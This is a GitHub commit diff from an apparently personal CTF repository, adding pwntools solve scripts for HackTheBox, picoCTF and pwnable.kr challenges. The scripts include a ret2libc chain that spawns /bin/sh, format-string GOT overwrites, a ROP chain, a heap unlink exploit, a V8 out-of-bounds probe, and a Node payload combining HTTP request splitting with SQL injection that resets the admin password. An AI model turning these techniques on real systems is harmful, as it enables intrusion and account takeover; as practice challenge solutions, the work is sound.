Skip to content

Commit 0ceb953

Browse files
stuff
1 parent 6dba7fc commit 0ceb953

24 files changed

+155
-49
lines changed

Diff for: .gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -2,5 +2,6 @@
22
__pycache__/
33
libseccomp.so.2
44
node_modules
5+
picoCTF/2021/horsepower
56

67

Diff for: hackthebox/flag.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
HTB{test_flag}

Diff for: hackthebox/oxidized-rop.py

+4
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,7 @@
11
from pwn import *
22
r = process('./oxidized-rop')
3+
# use utf-8 4 bytes characters to bypass the length limit since rust stores strings as utf-8
4+
r.sendline(b'1')
5+
r.sendline(b'a'*200+b'\x00')
6+
r.interactive()
37

Diff for: hackthebox/racecar

15.9 KB
Binary file not shown.

Diff for: hackthebox/racecar.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
from pwn import *
2+
context.log_level = 'debug'
3+
r = remote('142.93.32.153', 32106)
4+
#r = process('./racecar')
5+
#r=gdb.debug('./racecar', 'b *car_menu+828\nc')
6+
r.recvuntil(b'Name')
7+
r.sendline(b'name')
8+
r.recvuntil(b'Nickname')
9+
r.sendline(b'nick')
10+
r.recvuntil(b'Car selection')
11+
r.sendline(b'2')
12+
r.recvuntil(b'Select car')
13+
r.sendline(b'1')
14+
r.recvuntil(b'Circuit')
15+
r.sendline(b'1')
16+
r.recvuntil(b'victory?')
17+
r.sendline(b'%x'*22)
18+
r.interactive()

Diff for: hackthebox/restaurant/flag.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
HTB{test_flag}

Diff for: hackthebox/restaurant/ld-2.27.so

175 KB
Binary file not shown.

Diff for: hackthebox/restaurant/libc.so.6

17.1 MB
Binary file not shown.

Diff for: hackthebox/restaurant/restaurant

12.6 KB
Binary file not shown.

Diff for: hackthebox/restaurant/restaurant_patched

16.6 KB
Binary file not shown.

Diff for: hackthebox/restaurant/solve.py

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
from pwn import *
2+
context.log_level = 'debug'
3+
r = remote('206.189.28.180', 30088)
4+
#r = process('./restaurant_patched')
5+
#r = gdb.debug('./restaurant_patched', 'set follow-fork-mode child\nb fill\nc')
6+
e = ELF('./restaurant')
7+
libc = ELF('./libc.so.6')
8+
def send(b):
9+
r.sendlineafter(b'>', b)
10+
11+
send(b'1')
12+
send(b'$\x00' + b'a'*(0x20+8-2) + p64(0x00000000004010a3) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.sym['fill']))
13+
r.recvuntil(b'$')
14+
puts_addr = u64(r.recv(6) + b'\x00\x00')
15+
print(f'puts_addr = {hex(puts_addr)}')
16+
libc.address = puts_addr - libc.sym['puts']
17+
print(f'libc.address = {hex(libc.address)}')
18+
send(b'a'*(0x20+8) + p64(0x00000000004010a3) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(0x000000000040063e) + p64(libc.sym['system']))
19+
20+
r.interactive()

Diff for: hackthebox/weatherapp.js

+10-4
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,29 @@
1-
const host = 'http://localhost:1337'
1+
//const host = 'http://localhost:1337'
2+
const host = 'http://206.189.24.162:32104'
23
//const injection = "bar'); update users set password='foo' where username='admin' --";
34
const injection = "'),('admin', 'foo') on conflict(username) do update set password='foo'--";
45
const crlf = '\u{010D}\u{010A}'
56
const space = '\u{0120}'
67
const query = `username=foo&password=${encodeURIComponent(injection)}`;
78
let payload = [
89
`x${space}HTTP/1.1`,
9-
`Host:${space}127.0.0.1:80${crlf}`,
10+
`Host:${space}127.0.0.1:80`,
11+
`Content-Length:${space}0`,
12+
'',
1013
`POST${space}/register${space}HTTP/1.1`,
1114
`Host:${space}127.0.0.1:80`,
1215
'Content-Type:'+space+'application/x-www-form-urlencoded',
13-
`Content-Length:${space}${query.length+24}`,
16+
`Content-Length:${space}${query.length+14}`,
17+
'',
18+
query,
1419
'',
15-
query
20+
`GET${space}/placeholder`
1621
];
1722
payload = payload.join(crlf);
1823
console.log(payload);
1924
console.log(encodeURIComponent(payload))
2025
console.log(Buffer.from(payload, 'latin1').toString('latin1'))
26+
console.log(Buffer.from(payload))
2127
const params = {
2228
endpoint: encodeURIComponent('127.0.0.1:80'),
2329
city: encodeURIComponent(payload),

Diff for: picoCTF/2021/bizzfuzz

1.05 MB
Binary file not shown.

Diff for: picoCTF/2021/download_horsepower.py

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
from pwn import *
2+
code = b'''
3+
var tbuf = new ArrayBuffer(8);
4+
var f64_buf = new Float64Array(tbuf);
5+
var u64_buf = new Uint32Array(tbuf);
6+
7+
function ftoi(val) { // typeof(val) = float
8+
f64_buf[0] = val;
9+
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
10+
}
11+
12+
function itof(val) {
13+
u64_buf[0] = Number(val & 0xffffffffn);
14+
u64_buf[1] = Number(val >> 32n);
15+
return f64_buf[0];
16+
}
17+
function dbg(x) {
18+
console.log(ftoi(x).toString(16))
19+
}
20+
const buf = [1.1];
21+
buf.setHorsepower(100);
22+
dbg(buf[1])
23+
dbg(buf[2])
24+
'''
25+
r = remote('mercury.picoctf.net', 60233)
26+
r.sendline(str(len(code)).encode())
27+
r.sendline(code)
28+
r.interactive()
29+

Diff for: picoCTF/2021/stonk_market.py

+13-34
Original file line numberDiff line numberDiff line change
@@ -1,43 +1,22 @@
11
from pwn import *
22
e = ELF('./stonk_market')
3-
r = process('./stonk_market')
3+
#r = process('./stonk_market')
4+
r = remote('mercury.picoctf.net', 5654)
45
context(arch='amd64', os='linux')
5-
#gdb.attach(r, 'break buy_stonks')
6-
#print({e.got['fflush']: e.symbols['buy_stonks']})
7-
#print(p64(e.symbols['buy_stonks']), p64(e.plt['system']), p64(e.got['fflush']), p64(e.got['printf']))
8-
#payload = fmtstr_payload(5, {e.got['fflush']: e.symbols['buy_stonks'], e.got['printf']: e.plt['system']})
9-
# %12$n for main rbp writes
10-
# which then writes to %20$n
11-
# %14$n writes to %55$n
12-
def write_to(addr, val):
13-
payload = ''
14-
lower = val&0xffff
15-
higher = val>>16
16-
#print(hex(lower), hex(higher))
17-
s = 0
186

19-
payload += f'%{addr}c%12$lln'
20-
s += addr
21-
payload += f'%{2}c%14$lln'
22-
s += 2
23-
24-
diff1 = (lower-s)%0xffff
25-
payload += f'%{diff1}c%20$hn'
26-
s+=diff1
7+
payload = ('%c'*(5+7-2) + f"%{e.got['free']-10}c%lln" + '%c'*(8-2) + f"%{((e.sym['buy_stonks'] - e.got['free'])%(0xffff+1))-6}c%hn").encode()
8+
print(payload)
9+
r.sendline(b'1')
10+
r.sendline(payload)
2711

28-
diff2 = (higher-s)%0xffff
29-
payload += f'%{diff2}c%55$hn'
30-
s+=diff2
12+
payload = (f"%{e.got['printf']}c%12$lln").encode()
13+
print(payload)
14+
r.sendline(b'1')
15+
r.sendline(payload)
3116

32-
return payload.encode()
33-
# 1. write
34-
# 2. get shell
35-
payload = write_to(e.got['free'], e.sym['buy_stonks'])
36-
print('payload 1', payload)
17+
payload = (f"%{e.plt['system']}c%18$lln").encode()
18+
print(payload)
3719
r.sendline(b'1')
3820
r.sendline(payload)
39-
payload = f''.encode()
40-
print('payload 2', payload)
41-
r.sendline(b'/bin/sh')
42-
#r.interactive()
4321

22+
r.interactive()

Diff for: picoCTF/exclusive/asciiftw.py

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
code = b'\xc6\x45\xd0\x70\xc6\x45\xd1\x69\xc6\x45\xd2\x63\xc6\x45\xd3\x6f\xc6\x45\xd4\x43\xc6\x45\xd5\x54\xc6\x45\xd6\x46\xc6\x45\xd7\x7b\xc6\x45\xd8\x41\xc6\x45\xd9\x53\xc6\x45\xda\x43\xc6\x45\xdb\x49\xc6\x45\xdc\x49\xc6\x45\xdd\x5f\xc6\x45\xde\x49\xc6\x45\xdf\x53\xc6\x45\xe0\x5f\xc6\x45\xe1\x45\xc6\x45\xe2\x41\xc6\x45\xe3\x53\xc6\x45\xe4\x59\xc6\x45\xe5\x5f\xc6\x45\xe6\x37\xc6\x45\xe7\x42\xc6\x45\xe8\x43\xc6\x45\xe9\x44\xc6\x45\xea\x39\xc6\x45\xeb\x37\xc6\x45\xec\x31\xc6\x45\xed\x44\xc6\x45\xee\x7d'
2+
i = 3
3+
flag = b''
4+
while i < len(code):
5+
flag += bytes([code[i]])
6+
i += 4
7+
print(flag)
8+

Diff for: picoCTF/picoMini-redpwn/fermat-strings

8.55 KB
Binary file not shown.

Diff for: picoCTF/picoMini-redpwn/fermat-strings.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
from pwn import *
2+
context.log_level = 'debug'
3+
#r = process('./fermat-strings')
4+
r = gdb.debug('./fermat-strings', 'b *0x4009d2 \n c')
5+
e = ELF('./fermat-strings')
6+
libc = ELF('./libc.so.6')
7+
# %10$p for the start of our input
8+
fmt, addr = fmtstr_split(10, {e.got['pow']: e.sym['main']}, numbwritten=8, badbytes=b'\x00')
9+
payload = b'1'*8 + fmt
10+
print(payload)
11+
r.sendline(payload)
12+
r.sendline(b'1')
13+
r.interactive()

Diff for: picoCTF/picoMini-redpwn/flag.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
picoCTF{test_flag}

Diff for: picoCTF/picoMini-redpwn/libc.so.6

1.94 MB
Binary file not shown.

Diff for: pwnable-kr/flag

-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1 @@
11
ctf{test_flag}
2-

Diff for: pwnable-kr/horcruxes.py

+29-7
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,33 @@
11
from pwn import *
2+
from numpy import int32
23
context.clear(arch='i386', os='linux')
4+
context.log_level = 'debug'
35
context.binary = e = ELF('./horcruxes')
4-
rop = b'a' * (0x74 + 4+1)
5-
# last gadget -> go back to ropme
6-
rop += p32(0x0809fffc)
7-
print(rop)
8-
#r = gdb.debug('./horcruxes', 'break ropme')
9-
r = process('./horcruxes')
10-
r.sendline(rop)
6+
clean_main = p64(0x0809fffc) # do ropme again
7+
rop = ROP(e, badchars='\x0a\x0d')
8+
rop.raw(b'\x00'*(0x74+4))
9+
rop.A()
10+
rop.B()
11+
rop.C()
12+
rop.D()
13+
rop.E()
14+
rop.F()
15+
rop.G()
16+
rop.raw(clean_main)
17+
#print(rop.dump())
18+
#print(rop.chain())
19+
#r = process('./horcruxes', env={'LD_PRELOAD': './libseccomp.so.2'})
20+
#r = gdb.debug('./horcruxes', 'break *0x080a0176\ncontinue', env={'LD_PRELOAD': './libseccomp.so.2'})
21+
r = remote('pwnable.kr', 9032)
22+
r.sendline(b'0')
23+
r.sendline(rop.chain())
24+
s = int32(0)
25+
for _ in range(7):
26+
n = int32(r.recvuntil(b')', drop=True).split(b'+')[1])
27+
#print(n)
28+
s += n
29+
30+
print(s)
31+
r.sendlineafter(b':', b'0')
32+
r.sendlineafter(b':', str(s).encode())
1133
r.interactive()

Diff for: pwnable-kr/libc.so.6

1.71 MB
Binary file not shown.

Diff for: pwnable-kr/unlink.py

+7-3
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
from pwn import *
22
s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
33
r = s.process('./unlink')
4+
#r = process('./unlink')
5+
#r = gdb.debug('./unlink', 'b unlink\nc')
6+
e = ELF('./unlink')
47
r.recvuntil(b'stack address leak: ')
5-
rbp = int(r.recvline(), 16) + 0x14
6-
print(f'rbp = {hex(rbp)}')
8+
ebp = int(r.recvline(), 16) + 0x14
9+
print(f'ebp = {hex(ebp)}')
710
r.recvuntil(b'heap address leak: ')
811
heapleak = int(r.recvline(), 16)
912
print(f'A = {hex(heapleak)}')
10-
payload = b'a' * 0x10 + p32(rbp + 1) + p32(heapleak - ((heapleak-0x2f)%0xff))
13+
payload = p32(e.sym['shell']) + b'a'*(0x20-0x4-0x8-0x8) + p32(ebp-0x8) + p32(heapleak+0x4+0x8)
1114
print(payload)
1215
r.sendline(payload)
1316
r.interactive()
17+

0 commit comments

Comments
 (0)